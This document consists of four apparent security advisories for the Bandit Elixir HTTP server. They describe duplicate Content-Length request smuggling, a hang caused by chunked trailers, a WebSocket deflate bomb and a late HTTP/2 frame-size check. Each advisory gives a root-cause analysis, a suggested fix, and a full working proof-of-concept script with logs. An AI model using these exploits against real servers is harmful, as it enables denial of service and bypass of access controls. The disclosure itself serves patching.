Summary
Bandit is vulnerable to CL.CL HTTP request smuggling: it silently accepts requests with two Content-Length headers whose values differ, takes the first value, and dispatches the body bytes as a second pipelined request on the same keep-alive connection. RFC 9110 §5.3 prohibits multiple lines for singleton fields like Content-Length, and RFC 9112 §6.3 item 5 requires the recipient to treat invalid Content-Length as an unrecoverable framing error. When Bandit sits behind a proxy that picks the last Content-Length and forwards rather than rejects, an unauthenticated attacker can smuggle requests past edge WAF rules, path-based ACLs, rate limiting, and audit logging.
The vulnerability was introduced prior to v0.1.0 (released Nov 5, 2020) on Nov 16, 2019: https://github.com/mtrudel/bandit/commit/e5270b1b19e9f3574aa0f87ec76851d66c38c0af
Details
Bandit.Headers.getcontentlength/1 (lib/bandit/headers.ex) calls List.keyfind/3, which returns only the first matching header. Bandit already correctly rejects the comma-separated form (Content-Length: 0, 43) when values differ; the bug is that the multi-line form never reaches that check.
Fix: collect every Content-Length value from the header list and reject unless all values parse and are byte-identical — extending the existing rejection to the multi-line case.
PoC
The script below boots a local Bandit server with a Plug that echoes the dispatched method and path, then sends a POST with Content-Length: 0 followed by Content-Length: 43 and a 43-byte body containing a valid GET /smuggled HTTP/1.1 request line. Run with elixir script.exs
On Bandit 1.10.4 / Elixir 1.18, default config: two 200 OK responses on the same TCP connection. First body method=POST path=/, second body method=GET path=/smuggled. Bandit accepted the malformed request and dispatched the embedded request line as a second request.
Impact
Spec violation that becomes request smuggling when paired with a permissive frontend. Practical impact depends entirely on what sits between the internet and Bandit, not on what runs above it.
The application framework (Phoenix, LiveView, Phoenix-API + React SPA) is irrelevant — smuggled requests still flow through the full Plug pipeline, so application auth still runs. The attacker is someone hitting the API directly with curl, not the SPA.
Real exposure concentrates at boundary controls the proxy enforces and Bandit doesn't see: edge WAF, path-based ACLs at the LB, edge rate limiting, centralized audit logging, and — the only realistic data-exfil path — response-queue desync on pooled upstream connections.
Most major frontends already reject CL.CL (Cloudflare, AWS ALB, current nginx, HAProxy in default strict mode). Realistic exposure: custom proxies, older nginx, in-house API gateways, or multi-hop setups where one hop is permissive.
- Bandit directly on the internet: spec violation, no exploit. - Bandit behind a major CDN/LB: almost certainly safe. - Bandit behind a custom or unverified proxy: real smuggling exposure, bounded by what that proxy was enforcing.
Worth fixing regardless — the current behavior silently shifts security responsibility onto whichever proxy is deployed.
Script and Logs
elixir Bandit HTTP/1 duplicate Content-Length first-wins PoC. Bandit.Headers.getcontentlength/1 calls List.keyfind/3, which returns the first Content-Length value and silently ignores additional Content-Length entries. RFC 9112 §6.3 explicitly classifies this as an unrecoverable error and says the recipient MUST treat it as such. This is the classic CL.CL request-smuggling primitive. If a fronting proxy uses the last Content-Length while Bandit uses the first (or vice versa), the second "request" embedded in the first request's body gets dispatched as a new request on the same keep-alive connection - after the proxy has already applied its access controls. Run: elixir scripts/bandit/http1duplicatecontentlength.exs
Mix.install([ {:bandit, "~> 1.10"}, {:plug, "~> 1.19"} ])
defmodule DemoApp do @behaviour Plug
import Plug.Conn
def init(opts), do: opts
def call(conn, opts) do sendresp(conn, 200, "method=#{conn.method} path=#{conn.requestpath}\n") end end
defmodule Smuggle do @port 4321
def run do {:ok, } = Bandit.startlink(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)
request = buildsmugglingrequest() log("Sending #{bytesize(request)}-byte CL.CL request:\n#{request}")
{:ok, sock} = :gentcp.connect(~c"127.0.0.1", @port, [:binary, active: false]) :ok = :gentcp.send(sock, request)
response = readall(sock) :gentcp.close(sock)
log("Response stream:\n#{response}") diagnose(response) end
# POST with two Content-Length headers, plus a smuggled GET line in the # body. A CL-last frontend would forward the body bytes; Bandit (CL-first) # reads 0 bytes per Content-Length: 0, replies, and the smuggled request # line either gets parsed as a new request on the keep-alive connection # or stays in the buffer. defp buildsmugglingrequest do smuggledrequest = "GET /smuggled HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n" smuggledsize = bytesize(smuggledrequest)
"POST / HTTP/1.1\r\n" <> "Host: 127.0.0.1\r\n" <> "Content-Length: 0\r\n" <> "Content-Length: #{smuggledsize}\r\n" <> "\r\n" <> smuggledrequest end
defp readall(sock, accumulated \\ "") do case :gentcp.recv(sock, 0, 2000) do {:ok, bytes} -> readall(sock, accumulated <> bytes) {:error, reason} -> accumulated end end
# Three observable outcomes: # - 400 Bad Request -> RFC-conformant rejection (not what current # Bandit does). # - Two responses, second one for /smuggled -> Bandit dispatched the # smuggled request as a second pipelined request. # - One response -> Bandit accepted Content-Length: 0, the smuggled # bytes sat in the keep-alive buffer; with a CL-last frontend this # becomes a smuggled request on the next request boundary. defp diagnose(response) do responselines = Regex.scan(~r/^HTTP\/1\.[01] \d{3}[^\r\n]/m, response) |> List.flatten() log("HTTP/1.x response lines observed: #{length(responselines)}") Enum.each(responselines, fn line -> log(" #{line}") end)
cond do response =~ ~r/^HTTP\/1\.[01] 400/ -> log("OK: Bandit rejected duplicate Content-Length (RFC 9112 §6.3 conformant).")
response =~ "/smuggled" -> log("VULNERABLE: smuggled GET /smuggled was processed as a second request.")
length(responselines) == 1 -> log("ACCEPTED: Bandit took the first Content-Length (0) and left the") log("smuggled request line in the keep-alive buffer. Combined with a") log("CL-last frontend this becomes request smuggling.")
true -> log("Inconclusive - see raw response above.") end end
defp log(message), do: IO.puts("[#{Time.utcnow() |> Time.truncate(:millisecond)}] #{message}") end
Smuggle.run()
logs 11:52:23.036 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http) [09:52:23.039] Sending 118-byte CL.CL request: POST / HTTP/1.1 Host: 127.0.0.1 Content-Length: 0 Content-Length: 43
GET /smuggled HTTP/1.1 Host: 127.0.0.1
[09:52:25.057] Response stream: HTTP/1.1 200 OK date: Tue, 28 Apr 2026 09:52:22 GMT content-length: 19 vary: accept-encoding cache-control: max-age=0, private, must-revalidate
method=POST path=/ HTTP/1.1 200 OK date: Tue, 28 Apr 2026 09:52:22 GMT content-length: 26 vary: accept-encoding cache-control: max-age=0, private, must-revalidate
method=GET path=/smuggled
[09:52:25.057] HTTP/1.x response lines observed: 2 [09:52:25.057] HTTP/1.1 200 OK [09:52:25.057] HTTP/1.1 200 OK [09:52:25.058] VULNERABLE: smuggled GET /smuggled was processed as a second request.
Summary A worker-pinning denial of service in Bandit's HTTP/1 chunked transfer decoder. Any unauthenticated client that sends a Transfer-Encoding: chunked request whose body ends with a trailer field (RFC 9112 §7.1.2 explicitly permits this) causes the connection's worker process to spin forever in an infinite recursion. A handful of concurrent connections are sufficient to exhaust the listener pool and render the server unresponsive to all further traffic.
The vulnerability was likely introduced with this commit on Dec 6, 2024: https://github.com/mtrudel/bandit/commit/e73e379ab59840e8561b5730878f16e29ab06217
Details The bug is in lib/bandit/http1/socket.ex in doreadchunkeddata!/5 (around lines 242–274). The terminator clause matches only ["0", "\r\n" <> rest] — i.e. the last-chunk line 0\r\n followed immediately by the empty trailer line. RFC 9112 §7.1.2 allows zero or more trailer fields between 0\r\n and the final \r\n, e.g. a body ending 0\r\nX-T: v\r\n\r\n.
When trailers are present, :binary.split/2 returns ["0", "X-T: v\r\n\r\n"]. The terminator clause does not match. The inner <<::binary-size(0), ?\r, ?\n, ::binary>> pattern also does not match because rest starts with X. Execution falls into the -> arm, which computes toread = 0 - bytesize(rest) (a negative number) and calls readavailable!/2 on the socket. On timeout, readavailable!/2 returns <<>>, leaving the buffer unchanged. doreadchunkeddata!/5 then tail-recurses with the same state and makes no forward progress. The worker is pinned for the lifetime of the TCP connection.
The same shape applies to malformed chunk frames where the declared chunk-size disagrees with the actual data length: the binary-size pattern cannot match and readavailable! is repeatedly called with no progress.
The gap is acknowledged in the source itself — the comment on line 245 reads: "We should be reading (and ignoring) trailers here".
Suggested fix: after the 0 size line, consume bytes up to \r\n\r\n (parsing/discarding trailers via :erlang.decodepacket(:httphbin, …)) before returning. Additionally, ensure every recursive arm makes forward progress — when readavailable!/2 returns <<>>, raise requesterror!(:requesttimeout) rather than re-entering with an unchanged buffer.
PoC A self-contained reproduction script is available below. It starts Bandit 1.10 on 127.0.0.1:4321 with a trivial echo Plug, opens a TCP connection, and sends a single chunked POST whose body is:
- one 5-byte chunk "hello" - the last-chunk marker 0\r\n - one trailer field X-Trailer: 1\r\n - the terminating \r\n
The request is fully RFC-conformant; many fronting proxies (NGINX, HAProxy) emit this exact shape when forwarding trailer-bearing requests. A correct server responds within milliseconds. With the bug, :gentcp.recv/3 times out after 10 seconds because the worker is stuck spinning in doreadchunkeddata!/5.
Steps to reproduce: 1. elixir script.exs 2. Observe the TIMEOUT — worker is pinned in doreadchunkeddata!/5 log line. 3. Each additional concurrent client sending the same request consumes one more worker process.
Impact Unauthenticated denial of service against any Bandit-fronted HTTP/1 service that accepts chunked request bodies — the default for Phoenix and Plug applications. No authentication, no special headers, and no large payload are required; a small number of attacker-controlled connections is enough to exhaust the worker pool and make the server unreachable for all users. Servers sitting behind proxies that legitimately forward trailer-bearing requests can also be affected without any malicious client involvement.
Script and Logs
elixir Bandit HTTP/1 chunked decoder hangs on requests with trailer headers. lib/bandit/http1/socket.ex:242-274 (doreadchunkeddata!/5) terminates only when the last-chunk line 0\r\n is followed immediately by the empty trailer line \r\n. RFC 9112 §7.1.2 allows trailer fields between them (e.g. 0\r\nX-T: v\r\n\r\n). With trailers present, none of the match clauses fit: the arm computes toread = 0 - bytesize(rest) (negative), calls readavailable!/2, gets <<>> on timeout, and recurses with the same buffer forever — pinning the worker for the connection's lifetime. The line 245 comment ("We should be reading (and ignoring) trailers here") acknowledges the gap. This script starts Bandit 1.10 on 127.0.0.1:4321, sends one chunked POST whose body ends with a single trailer field, and waits for a response. A correct server replies in milliseconds; the buggy decoder never does. Run: elixir script.exs
Mix.install([ {:bandit, "~> 1.10"}, {:plug, "~> 1.19"} ])
defmodule EchoApp do @behaviour Plug def init(opts), do: opts
def call(conn, opts) do {:ok, body, conn} = Plug.Conn.readbody(conn) Plug.Conn.sendresp(conn, 200, "got #{bytesize(body)} bytes") end end
defmodule TrailerHang do @port 4321 @recvtimeoutms 10000
def run do {:ok, } = Bandit.startlink(plug: EchoApp, ip: {127, 0, 0, 1}, port: @port)
{:ok, sock} = :gentcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
request = buildchunkedrequestwithtrailer() log("Sending chunked POST whose body ends with 0\\r\\nX-Trailer: 1\\r\\n\\r\\n.") :ok = :gentcp.send(sock, request)
log("Waiting up to #{div(@recvtimeoutms, 1000)}s for a response (a correct server replies in ms)…") startedat = System.monotonictime(:millisecond)
case :gentcp.recv(sock, 0, @recvtimeoutms) do {:ok, response} -> elapsed = System.monotonictime(:millisecond) - startedat log("Got response after #{elapsed}ms — server handles trailers correctly:") IO.puts(binarypart(response, 0, min(bytesize(response), 256)))
{:error, :timeout} -> log("TIMEOUT — worker is pinned in doreadchunkeddata!/5.") log("Each concurrent client sending this shape consumes one Bandit worker.")
{:error, reason} -> log("Connection error: #{inspect(reason)}") end
:gentcp.close(sock) end
# Body: one 5-byte chunk "hello", last-chunk marker 0\r\n, one trailer # X-Trailer: 1\r\n, terminating \r\n. RFC-conformant; many proxies # (NGINX, HAProxy) emit this shape when forwarding trailer-bearing # responses or requests. defp buildchunkedrequestwithtrailer do "POST / HTTP/1.1\r\n" <> "Host: 127.0.0.1:#{@port}\r\n" <> "Transfer-Encoding: chunked\r\n" <> "Trailer: X-Trailer\r\n" <> "Content-Type: application/octet-stream\r\n" <> "\r\n" <> "5\r\nhello\r\n" <> "0\r\n" <> "X-Trailer: 1\r\n" <> "\r\n" end
defp log(message), do: IO.puts("[#{Time.utcnow() |> Time.truncate(:millisecond)}] #{message}") end
TrailerHang.run()
logs 12:36:54.260 [info] Running EchoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http) [10:36:54.275] Sending chunked POST whose body ends with 0\r\nX-Trailer: 1\r\n\r\n. [10:36:54.276] Waiting up to 10s for a response (a correct server replies in ms)… [10:37:04.276] TIMEOUT — worker is pinned in doreadchunkeddata!/5. [10:37:04.276] Each concurrent client sending this shape consumes one Bandit worker.
Summary
When a Bandit-fronted server has explicitly enabled WebSocket permessage-deflate (compress: true), an unauthenticated client can OOM the BEAM with a single ~6 MiB WebSocket frame. Bandit's inflate step has no output-size cap, so a small high-ratio compressed frame (e.g. zeros, ~1024:1 ratio) decompresses unbounded into the connection process before any application code runs. Phoenix and LiveView are not vulnerable by default — they ship with compress: false. Affected apps are those that have deliberately opted in to permessage-deflate.
Details
In lib/bandit/websocket/permessagedeflate.ex:111-115, :zlib.inflate/2 is called without an output-size limit, and IO.iodatatobinary/1 then materializes the entire decompressed payload as one contiguous binary in the connection process's heap.
websocketoptions.maxframesize only bounds the on-the-wire (compressed) frame, not the decompressed output. With ~1024:1 compression on uniform data, an attacker can stay well under any wire-size cap while still forcing GiB-scale allocations. There is no {:more, ...} resumable path on inflate, so upstream callers cannot interpose a 413/close before the allocation completes.
The bug is gated by two server-side flags being true at the same time:
- Bandit's global websocketoptions.compress (defaults to true per bandit.ex:198-201). - The per-upgrade connectionopts.compress passed to WebSockAdapter.upgrade/4 (defaults to false per websockadapter.ex:42-43; Phoenix's default is also false per phoenix/lib/phoenix/transports/websocket.ex:33).
Both must be true for the handshake at bandit/lib/bandit/websocket/handshake.ex:22 to negotiate permessage-deflate. So the bug is only reachable on apps that explicitly opt in (e.g. socket "/ws", MySocket, websocket: [compress: true] in a Phoenix endpoint, or WebSockAdapter.upgrade(conn, ..., compress: true) in a plain Plug app).
Suggested fix: thread a maximum-output-size through to inflate and either error out or return resumable chunks once exceeded, mirroring how the HTTP content-length path bounds reads via :length.
PoC
A fully self-contained reproducer is attached below. It boots a local Bandit server that performs a WebSockAdapter.upgrade(conn, EchoSocket, %{}, compress: true), opens one WebSocket connection, and sends a single text frame whose ~6 MiB compressed payload inflates to 6 GiB of zeros. Run it with elixir wspermessagedeflatebomb.exs.
Observed on a 16 GiB Mac (Bandit 1.10.4, Elixir 1.18, otherwise default config):
- Frame on the wire: ~6 MiB. - BEAM RSS climbed from ~80 MiB to ~12 GiB peak during inflate (6 GiB inflated payload + a transient 6 GiB copy held by IO.iodatatobinary/1), then settled at ~6 GiB until the connection process was GC'd. - Tuning @targetdecompressedbytes upward, or opening N parallel connections, OOM-kills the BEAM outright.
A separate observation worth flagging: in the default setup, something upstream caps wire-side frames at ~8 MiB even though Bandit's documented maxframesize default is 0 (unlimited). The bug is reachable below that cap regardless, but the source of that effective cap is worth confirming.
Impact
Unauthenticated, pre-application-code denial-of-service via memory exhaustion. A single frame from a single client is sufficient to drive a small host to OOM; concurrent connections amplify linearly. The attacker needs only that the server accepts a WebSocket connection — no authentication, no valid route, no application cooperation.
Affected: any Bandit-fronted application that explicitly enables permessage-deflate on its WebSocket upgrade. Stock Phoenix and LiveView apps are not affected — both default to compress: false. Apps that opt in (typically for bandwidth savings on large payloads) inherit an unbounded-inflate DoS that the documentation does not warn about.
elixir Bandit WebSocket permessage-deflate bomb PoC. lib/bandit/websocket/permessagedeflate.ex:111-115 calls :zlib.inflate/2 with no output-size cap. A small (~4 MiB) compressed frame inflates to multiple GiB on the BEAM heap before any application code sees it. Note: in the default setup something upstream caps wire-side frames at ~8 MiB even though Bandit's documented maxframesize default is 0 (unlimited). The bug is reachable below that cap regardless. Run: elixir scripts/bandit/wspermessagedeflatebomb.exs
Mix.install([ {:bandit, "~> 1.10"}, {:plug, "~> 1.19"}, {:websockadapter, "~> 0.5"} ])
defmodule EchoSocket do @behaviour WebSock
def init(opts), do: {:ok, %{}} def handlein(message, state), do: {:ok, state} def handleinfo(message, state), do: {:ok, state} def terminate(reason, state), do: {:ok, state} end
defmodule DemoApp do @behaviour Plug def init(opts), do: opts def call(conn, opts) do conn |> WebSockAdapter.upgrade(EchoSocket, %{}, compress: true) |> Plug.Conn.halt() end end
defmodule Bomb do @port 4321 # 6 GiB inflated -> ~6 MiB compressed (well under the ~8 MiB wire cap). @targetdecompressedbytes 6 1024 1024 1024 @plaintextchunkbytes 10 1024 1024
def run do {:ok, } = Bandit.startlink(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)
sock = wshandshake!() deflatepayload = builddeflatebomb() frame = compressedtextframe(deflatepayload)
samplerpid = spawnlink(&samplememoryloop/0)
log("Sending #{bytesize(frame)}-byte compressed frame…") :ok = :gentcp.send(sock, frame) handlerecv(sock)
Process.unlink(samplerpid) Process.exit(samplerpid, :kill) :gentcp.close(sock) log("Done.") end
# Open a TCP connection and complete the WebSocket handshake with # permessage-deflate. Raises if the server doesn't negotiate it. defp wshandshake! do {:ok, sock} = :gentcp.connect(~c"127.0.0.1", @port, [:binary, active: false]) wskey = :crypto.strongrandbytes(16) |> Base.encode64()
:ok = :gentcp.send(sock, """ GET / HTTP/1.1\r Host: 127.0.0.1\r Upgrade: websocket\r Connection: Upgrade\r Sec-WebSocket-Key: #{wskey}\r Sec-WebSocket-Version: 13\r Sec-WebSocket-Extensions: permessage-deflate\r \r """)
{:ok, response} = :gentcp.recv(sock, 0, 5000) if not (response =~ "permessage-deflate"), do: raise("permessage-deflate not negotiated:\n#{response}") log("Handshake complete.") sock end
# Stream-deflate @targetdecompressedbytes worth of zeros so the client # never holds the full plaintext at once. RFC 7692 uses raw deflate # (windowbits=-15) and ends each message with 0x00 0x00 0xFF 0xFF, which # we strip per the spec. defp builddeflatebomb do chunk = :binary.copy(<<0>>, @plaintextchunkbytes) chunkcount = div(@targetdecompressedbytes, @plaintextchunkbytes) log("Deflating #{div(@targetdecompressedbytes, 1024 1024)} MiB plaintext…")
zstream = :zlib.open() :ok = :zlib.deflateInit(zstream, :default, :deflated, -15, 8, :default) deflatedchunks = Enum.map(1..chunkcount, fn -> :zlib.deflate(zstream, chunk, :none) end) finalflush = :zlib.deflate(zstream, <<>>, :sync) :zlib.close(zstream)
deflated = IO.iodatatobinary([deflatedchunks, finalflush]) trailersize = bytesize(deflated) - 4 <<payload::binary-size(trailersize), 0x00, 0x00, 0xFF, 0xFF>> = deflated
log("Compressed to #{bytesize(payload)} bytes (ratio ~#{div(@targetdecompressedbytes, bytesize(payload))}x).") payload end
# Wrap payload in a single masked WebSocket text frame with RSV1 set # (FIN=1, RSV1=1 indicates permessage-deflate compressed, opcode=0x1=text). defp compressedtextframe(payload) do mask = :crypto.strongrandbytes(4) payloadsize = bytesize(payload) maskstream = binarypart(:binary.copy(mask, div(payloadsize, 4) + 1), 0, payloadsize) maskedpayload = :crypto.exor(payload, maskstream)
lengthbytes = cond do payloadsize <= 125 -> <<1::1, payloadsize::7>> payloadsize <= 0xFFFF -> <<1::1, 126::7, payloadsize::16>> true -> <<1::1, 127::7, payloadsize::64>> end
<<1::1, 1::1, 0::2, 0x1::4, lengthbytes::binary, mask::binary, maskedpayload::binary>> end
# EchoSocket.handlein/2 doesn't reply, so recv times out after the # observation window. That's enough to watch the BEAM heap spike. defp handlerecv(sock) do case :gentcp.recv(sock, 0, 5000) do {:ok, <<0x88, len, closecode::16, closereason::binary>>} -> log("Close frame: code=#{closecode} reason=#{inspect(closereason)}")
{:ok, bytes} -> log("Reply (#{bytesize(bytes)} bytes): #{inspect(bytes, base: :hex, limit: 64)}")
{:error, :timeout} -> log("recv timed out (server held the inflated payload silently).")
{:error, reason} -> log("Connection closed: #{inspect(reason)}") end end
defp samplememoryloop do log("[mem] BEAM total = #{div(:erlang.memory(:total), 1048576)} MiB") Process.sleep(250) samplememoryloop() end
defp log(message), do: IO.puts("[#{Time.utcnow() |> Time.truncate(:millisecond)}] #{message}") end
Bomb.run()
Logs
10:15:24.243 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http) [08:15:24.269] Handshake complete. [08:15:24.321] Deflating 6144 MiB plaintext… [08:15:37.567] Compressed to 6257675 bytes (ratio ~1029x). [08:15:37.581] Sending 6257689-byte compressed frame… [08:15:37.582] [mem] BEAM total = 76 MiB [08:15:37.834] [mem] BEAM total = 759 MiB [08:15:38.087] [mem] BEAM total = 1480 MiB [08:15:38.338] [mem] BEAM total = 2214 MiB [08:15:38.589] [mem] BEAM total = 2724 MiB [08:15:38.840] [mem] BEAM total = 3410 MiB [08:15:39.091] [mem] BEAM total = 3877 MiB [08:15:39.342] [mem] BEAM total = 4268 MiB [08:15:39.593] [mem] BEAM total = 4815 MiB [08:15:39.845] [mem] BEAM total = 5270 MiB [08:15:40.096] [mem] BEAM total = 5766 MiB [08:15:40.347] [mem] BEAM total = 12451 MiB [08:15:40.598] [mem] BEAM total = 12452 MiB [08:15:40.850] [mem] BEAM total = 12452 MiB [08:15:41.101] [mem] BEAM total = 12452 MiB [08:15:41.353] [mem] BEAM total = 12452 MiB [08:15:41.606] [mem] BEAM total = 12451 MiB [08:15:41.856] [mem] BEAM total = 6229 MiB [08:15:42.107] [mem] BEAM total = 6229 MiB [08:15:42.358] [mem] BEAM total = 6229 MiB [08:15:42.582] recv timed out (server held the inflated payload silently). [08:15:42.584] Done.
Summary
Bandit's HTTP/2 parser checks frame size after it has already buffered the full body, instead of when it sees the 9-byte header. A peer can announce a 16 MiB frame on a connection that agreed to 16 KiB frames and the server will silently buffer up to 1024× the agreed budget per connection. Across many connections this becomes a memory-pressure DoS. Severity: medium.
Details
In lib/bandit/http2/frame.ex:23-65, every clause that could detect an oversized frame requires payload::binary-size(length) to match — meaning the body has to be fully in memory before the size guard runs. Until then the parser returns {:more, msg} and the connection layer keeps reading. So the cap fires only after the violation is complete.
The frame type and stream id don't matter; the parser never gets that far.
PoC
The script is at the end. It:
1. Opens an h2c connection to a Bandit server it starts itself. 2. Sends a 9-byte frame header announcing length = 0xFFFFFF (~16 MiB). 3. Polls for GOAWAY(FRAMESIZEERROR). If silent, drips body bytes in 64 KiB chunks.
A patched server sends GOAWAY on the header alone. A vulnerable server stays silent and keeps accepting bytes.
Suggested fix
Add a header-only clause that rejects on the length field alone, e.g. def deserialize(<<length::24, ::binary>> = msg, maxframesize) when length > maxframesize, do: {{:error, framesizeerror(), "..."}, dropframeorclose(msg)}, placed before the body-bearing clauses so the size check runs as soon as the 9-byte header is in hand rather than after the body has been buffered.
Impact
Any Bandit server speaking HTTP/2 (h2 or h2c). No authentication or specific route needed — the bug is in the framing layer, before any Plug runs. An attacker holding a few thousand concurrent connections can pin tens of GiB of buffer memory, far beyond what the negotiated maxframesize should allow. No code execution, no data disclosure — pure resource exhaustion.
Fix: add a header-only clause that rejects on length > maxframesize as soon as the 9 header bytes arrive, before the body-bearing clauses.
elixir Bandit HTTP/2 oversized-frame late-check PoC. RFC 9113 §6.5.2 sets the default SETTINGSMAXFRAMESIZE to 16384. Bandit's frame deserializer (lib/bandit/http2/frame.ex) checks this limit after matching payload::binary-size(length) in the frame pattern. When the announced length exceeds what the buffer holds, none of the body-bearing clauses match and deserialize/2 returns {:more, msg}, telling the caller to keep buffering. The oversize error in the "valid shape, length > maxframesize" clause therefore fires only after the entire announced body has been received — letting a peer trickle up to ~16 MiB per frame (the 24-bit length field maximum) into the server before the cap engages, well past the 16 KiB the server agreed to. This PoC announces a frame with length = 0xFFFFFF (~16 MiB), drips body bytes in 64 KiB chunks, and after each chunk does a brief non-blocking recv to see if the server has reacted. A patched server should send GOAWAY(FRAMESIZEERROR) within the first chunk (header alone is enough). A vulnerable server keeps silently accepting up to the full 16 MiB. We use a SETTINGS frame (type=0x4, streamid=0) for the abusive header — the parser never reaches dispatch (it's stuck buffering body), so the type and stream id are immaterial to the bug. Run: elixir scripts/bandit/http2framesizelatecheck.exs
Mix.install([ {:bandit, "~> 1.10"}, {:plug, "~> 1.19"} ])
defmodule NoopApp do @behaviour Plug def init(opts), do: opts def call(conn, opts), do: Plug.Conn.sendresp(conn, 200, "ok\n") end
defmodule FrameSizeLateCheck do @port 4321 @connectionpreface "PRI HTTP/2.0\r\n\r\nSM\r\n\r\n"
@typesettings 0x4 @typegoaway 0x7 @flagsettingsack 0x1
@max24bit 0xFFFFFF @dripchunksize 64 1024 @maxtotaldrip 4 1024 1024
def run do {:ok, } = Bandit.startlink(plug: NoopApp, ip: {127, 0, 0, 1}, port: @port)
{:ok, sock} = :gentcp.connect(~c"127.0.0.1", @port, [:binary, active: false, nodelay: true])
advertisedmaxframesize = handshake!(sock) log("Handshake complete. Server advertised maxframesize=#{advertisedmaxframesize}.")
abusiveheader = frameheader(@max24bit, @typesettings, 0, 0)
log( "Sending oversized SETTINGS header: length=#{@max24bit} " <> "(#{div(@max24bit, 1024 1024)} MiB) vs cap #{advertisedmaxframesize}." )
:ok = :gentcp.send(sock, abusiveheader)
case pollforreaction(sock, 200) do {:goaway, errorcode} -> log("Server sent GOAWAY on header alone: errorcode=#{errorcode} — patched.") finish(sock)
:silent -> log("Server silent after header. Beginning body drip…") driploop(sock, 0) end end
defp driploop(sock, totalsent) when totalsent >= @maxtotaldrip do log( "Drip cap reached: #{totalsent} bytes accepted with no server reaction. " <> "Server is buffering an oversized frame body well past maxframesize." )
finish(sock) end
defp driploop(sock, totalsent) do chunk = :binary.copy(<<0>>, @dripchunksize)
case :gentcp.send(sock, chunk) do :ok -> newtotal = totalsent + @dripchunksize
case pollforreaction(sock, 50) do {:goaway, errorcode} -> log( "After #{newtotal} body bytes (#{div(newtotal, 1024)} KiB) the server " <> "sent GOAWAY: errorcode=#{errorcode}." )
finish(sock)
:silent -> if rem(newtotal, 512 1024) == 0 do log("Dripped #{div(newtotal, 1024)} KiB so far, no reaction.") end
driploop(sock, newtotal) end
{:error, reason} -> log("Send failed at total=#{totalsent}: #{inspect(reason)}.") finish(sock) end end
defp pollforreaction(sock, timeoutms) do case :gentcp.recv(sock, 9, timeoutms) do {:ok, <<length::24, type::8, flags::8, r::1, streamid::31>>} -> case recvpayload(sock, length, timeoutms) do {:ok, payload} when type == @typegoaway -> <<lastid::32, errorcode::32, debug::binary>> = payload {:goaway, errorcode}
{:ok, } -> :silent
{:error, } -> :silent end
{:error, :timeout} -> :silent
{:error, :closed} -> {:goaway, :connectionclosedwithoutgoaway} end end
defp finish(sock), do: :gentcp.close(sock)
# --- HTTP/2 handshake helpers ------------------------------------------
defp handshake!(sock) do :ok = :gentcp.send(sock, @connectionpreface) :ok = :gentcp.send(sock, buildsettingsframe(<<>>))
{:ok, serversettingsframe} = recvfullframe(sock, 5000) @typesettings = serversettingsframe.type advertisedmaxframesize = parsemaxframesize(serversettingsframe.payload)
:ok = :gentcp.send(sock, buildsettingsframe(<<>>, @flagsettingsack))
= drain(sock, 100) advertisedmaxframesize end
# SETTINGS payload is a sequence of 6-byte (id::16, value::32) entries. # SETTINGSMAXFRAMESIZE has id=0x5; default per RFC 9113 is 16384. defp parsemaxframesize(payload), do: parsemaxframesize(payload, 16384) defp parsemaxframesize(<<>>, currentvalue), do: currentvalue
defp parsemaxframesize(<<0x5::16, value::32, rest::binary>>, current) do parsemaxframesize(rest, value) end
defp parsemaxframesize(<<id::16, value::32, rest::binary>>, current) do parsemaxframesize(rest, current) end
defp buildsettingsframe(payload, flags \\ 0) do frameheader(bytesize(payload), @typesettings, flags, 0) <> payload end
defp frameheader(length, type, flags, streamid) do <<length::24, type::8, flags::8, 0::1, streamid::31>> end
defp recvfullframe(sock, timeoutms) do with {:ok, <<length::24, type::8, flags::8, r::1, streamid::31>>} <- :gentcp.recv(sock, 9, timeoutms), {:ok, payload} <- recvpayload(sock, length, timeoutms) do {:ok, %{length: length, type: type, flags: flags, streamid: streamid, payload: payload}} end end
defp recvpayload(sock, 0, timeoutms), do: {:ok, <<>>} defp recvpayload(sock, length, timeoutms), do: :gentcp.recv(sock, length, timeoutms)
defp drain(sock, timeoutms) do case :gentcp.recv(sock, 0, timeoutms) do {:ok, bytes} -> bytes <> drain(sock, timeoutms) {:error, } -> <<>> end end
defp log(message), do: IO.puts("[#{Time.utcnow() |> Time.truncate(:millisecond)}] #{message}") end
FrameSizeLateCheck.run()
logs 17:23:19.125 [info] Running NoopApp with Bandit 1.10.4 at 127.0.0.1:4321 (http) [15:23:19.242] Handshake complete. Server advertised maxframesize=16384. [15:23:19.243] Sending oversized SETTINGS header: length=16777215 (15 MiB) vs cap 16384. [15:23:19.444] Server silent after header. Beginning body drip… [15:23:19.857] Dripped 512 KiB so far, no reaction. [15:23:20.265] Dripped 1024 KiB so far, no reaction. [15:23:20.676] Dripped 1536 KiB so far, no reaction. [15:23:21.094] Dripped 2048 KiB so far, no reaction. [15:23:21.511] Dripped 2560 KiB so far, no reaction. [15:23:21.925] Dripped 3072 KiB so far, no reaction. [15:23:22.340] Dripped 3584 KiB so far, no reaction. [15:23:22.749] Dripped 4096 KiB so far, no reaction. [15:23:22.749] Drip cap reached: 4194304 bytes accepted with no server reaction. Server is buffering an oversized frame body well past maxframesize.